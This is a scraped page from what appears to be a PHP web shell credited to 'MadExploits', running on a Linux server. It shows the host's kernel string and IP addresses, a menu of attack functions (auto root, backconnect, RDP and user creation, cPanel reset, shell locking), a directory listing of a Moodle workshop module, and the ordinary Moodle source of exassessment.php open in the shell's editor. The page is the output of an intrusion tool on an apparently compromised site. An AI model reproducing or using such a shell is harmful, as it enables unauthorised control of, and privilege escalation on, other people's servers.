Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.214
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
workshop /
[ HOME SHELL ]
Name
Size
Permission
Action
allocation
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
eval
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
aggregate.php
2.44
KB
-rw-r--r--
allocation.php
3.08
KB
-rw-r--r--
assessment.php
9.11
KB
-rw-r--r--
editform.php
2.97
KB
-rw-r--r--
editformpreview.php
2.19
KB
-rw-r--r--
exassessment.php
7.9
KB
-rw-r--r--
excompare.php
4.5
KB
-rw-r--r--
exsubmission.php
10.08
KB
-rw-r--r--
feedbackauthor_form.php
2.64
KB
-rw-r--r--
feedbackreviewer_form.php
2.73
KB
-rw-r--r--
fileinfolib.php
11.76
KB
-rw-r--r--
index.php
3.12
KB
-rw-r--r--
lib.php
93.7
KB
-rw-r--r--
locallib.php
184.32
KB
-rw-r--r--
mod_form.php
23.06
KB
-rw-r--r--
renderer.php
47.05
KB
-rw-r--r--
settings.php
4.19
KB
-rw-r--r--
styles.css
15.01
KB
-rw-r--r--
submission.php
15.17
KB
-rw-r--r--
submission_form.php
3.45
KB
-rw-r--r--
switchphase.php
2.4
KB
-rw-r--r--
toolbox.php
2.15
KB
-rw-r--r--
upgrade.txt
1.12
KB
-rw-r--r--
version.php
1.1
KB
-rw-r--r--
view.php
34.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exassessment.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Assess an example submission * * @package mod_workshop * @copyright 2009 David Mudrak <david.mudrak@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require(__DIR__.'/../../config.php'); require_once(__DIR__.'/locallib.php'); $asid = required_param('asid', PARAM_INT); // assessment id $assessment = $DB->get_record('workshop_assessments', array('id' => $asid), '*', MUST_EXIST); $example = $DB->get_record('workshop_submissions', array('id' => $assessment->submissionid, 'example' => 1), '*', MUST_EXIST); $workshop = $DB->get_record('workshop', array('id' => $example->workshopid), '*', MUST_EXIST); $course = $DB->get_record('course', array('id' => $workshop->course), '*', MUST_EXIST); $cm = get_coursemodule_from_instance('workshop', $workshop->id, $course->id, false, MUST_EXIST); require_login($course, false, $cm); if (isguestuser()) { print_error('guestsarenotallowed'); } $workshop = new workshop($workshop, $cm, $course); $PAGE->set_url($workshop->exassess_url($assessment->id)); $PAGE->set_title($workshop->name); $PAGE->set_heading($course->fullname); $PAGE->navbar->add(get_string('assessingexample', 'workshop')); $currenttab = 'assessment'; $canmanage = has_capability('mod/workshop:manageexamples', $workshop->context); $isreviewer = ($USER->id == $assessment->reviewerid); if ($isreviewer or $canmanage) { // such a user can continue } else { print_error('nopermissions', 'error', $workshop->view_url(), 'assess example submission'); } // only the reviewer is allowed to modify the assessment if (($canmanage and $assessment->weight == 1) or ($isreviewer and $workshop->assessing_examples_allowed())) { $assessmenteditable = true; } else { $assessmenteditable = false; } // load the grading strategy logic $strategy = $workshop->grading_strategy_instance(); // load the assessment form and process the submitted data eventually $mform = $strategy->get_assessment_form($PAGE->url, 'assessment', $assessment, $assessmenteditable); // Set data managed by the workshop core, subplugins set their own data themselves. $currentdata = (object)array( 'feedbackauthor' => $assessment->feedbackauthor, 'feedbackauthorformat' => $assessment->feedbackauthorformat, ); if ($assessmenteditable and $workshop->overallfeedbackmode) { $currentdata = file_prepare_standard_editor($currentdata, 'feedbackauthor', $workshop->overall_feedback_content_options(), $workshop->context, 'mod_workshop', 'overallfeedback_content', $assessment->id); if ($workshop->overallfeedbackfiles) { $currentdata = file_prepare_standard_filemanager($currentdata, 'feedbackauthorattachment', $workshop->overall_feedback_attachment_options(), $workshop->context, 'mod_workshop', 'overallfeedback_attachment', $assessment->id); } } $mform->set_data($currentdata); if ($mform->is_cancelled()) { redirect($workshop->view_url()); } elseif ($assessmenteditable and ($data = $mform->get_data())) { // Let the grading strategy subplugin save its data. $rawgrade = $strategy->save_assessment($assessment, $data); // Store the data managed by the workshop core. $coredata = (object)array('id' => $assessment->id); if (isset($data->feedbackauthor_editor)) { $coredata->feedbackauthor_editor = $data->feedbackauthor_editor; $coredata = file_postupdate_standard_editor($coredata, 'feedbackauthor', $workshop->overall_feedback_content_options(), $workshop->context, 'mod_workshop', 'overallfeedback_content', $assessment->id); unset($coredata->feedbackauthor_editor); } if (isset($data->feedbackauthorattachment_filemanager)) { $coredata->feedbackauthorattachment_filemanager = $data->feedbackauthorattachment_filemanager; $coredata = file_postupdate_standard_filemanager($coredata, 'feedbackauthorattachment', $workshop->overall_feedback_attachment_options(), $workshop->context, 'mod_workshop', 'overallfeedback_attachment', $assessment->id); unset($coredata->feedbackauthorattachment_filemanager); if (empty($coredata->feedbackauthorattachment)) { $coredata->feedbackauthorattachment = 0; } } if ($canmanage) { // Remember the last one who edited the reference assessment. $coredata->reviewerid = $USER->id; } // Update the assessment data if there is something other than just the 'id'. if (count((array)$coredata) > 1 ) { $DB->update_record('workshop_assessments', $coredata); } if (!is_null($rawgrade) and isset($data->saveandclose)) { if ($canmanage) { redirect($workshop->view_url()); } else { redirect($workshop->excompare_url($example->id, $assessment->id)); } } else { // either it is not possible to calculate the $rawgrade // or the reviewer has chosen "Save and continue" redirect($PAGE->url); } } // output starts here $output = $PAGE->get_renderer('mod_workshop'); // workshop renderer echo $output->header(); echo $output->heading(format_string($workshop->name)); echo $output->heading(get_string('assessedexample', 'workshop'), 3); $example = $workshop->get_example_by_id($example->id); // reload so can be passed to the renderer echo $output->render($workshop->prepare_example_submission(($example))); // show instructions for assessing as thay may contain important information // for evaluating the assessment if (trim($workshop->instructreviewers)) { $instructions = file_rewrite_pluginfile_urls($workshop->instructreviewers, 'pluginfile.php', $PAGE->context->id, 'mod_workshop', 'instructreviewers', null, workshop::instruction_editors_options($PAGE->context)); print_collapsible_region_start('', 'workshop-viewlet-instructreviewers', get_string('instructreviewers', 'workshop'), 'workshop-viewlet-instructreviewers-collapsed'); echo $output->box(format_text($instructions, $workshop->instructreviewersformat, array('overflowdiv'=>true)), array('generalbox', 'instructions')); print_collapsible_region_end(); } // extend the current assessment record with user details $assessment = $workshop->get_assessment_by_id($assessment->id); if ($canmanage and $assessment->weight == 1) { $options = array( 'showreviewer' => false, 'showauthor' => false, 'showform' => true, ); $assessment = $workshop->prepare_example_reference_assessment($assessment, $mform, $options); $assessment->title = get_string('assessmentreference', 'workshop'); echo $output->render($assessment); } else if ($isreviewer) { $options = array( 'showreviewer' => true, 'showauthor' => false, 'showform' => true, ); $assessment = $workshop->prepare_example_assessment($assessment, $mform, $options); $assessment->title = get_string('assessmentbyyourself', 'workshop'); echo $output->render($assessment); } else if ($canmanage) { $options = array( 'showreviewer' => true, 'showauthor' => false, 'showform' => true, 'showweight' => false, ); $assessment = $workshop->prepare_example_assessment($assessment, $mform, $options); echo $output->render($assessment); } echo $output->footer();
Close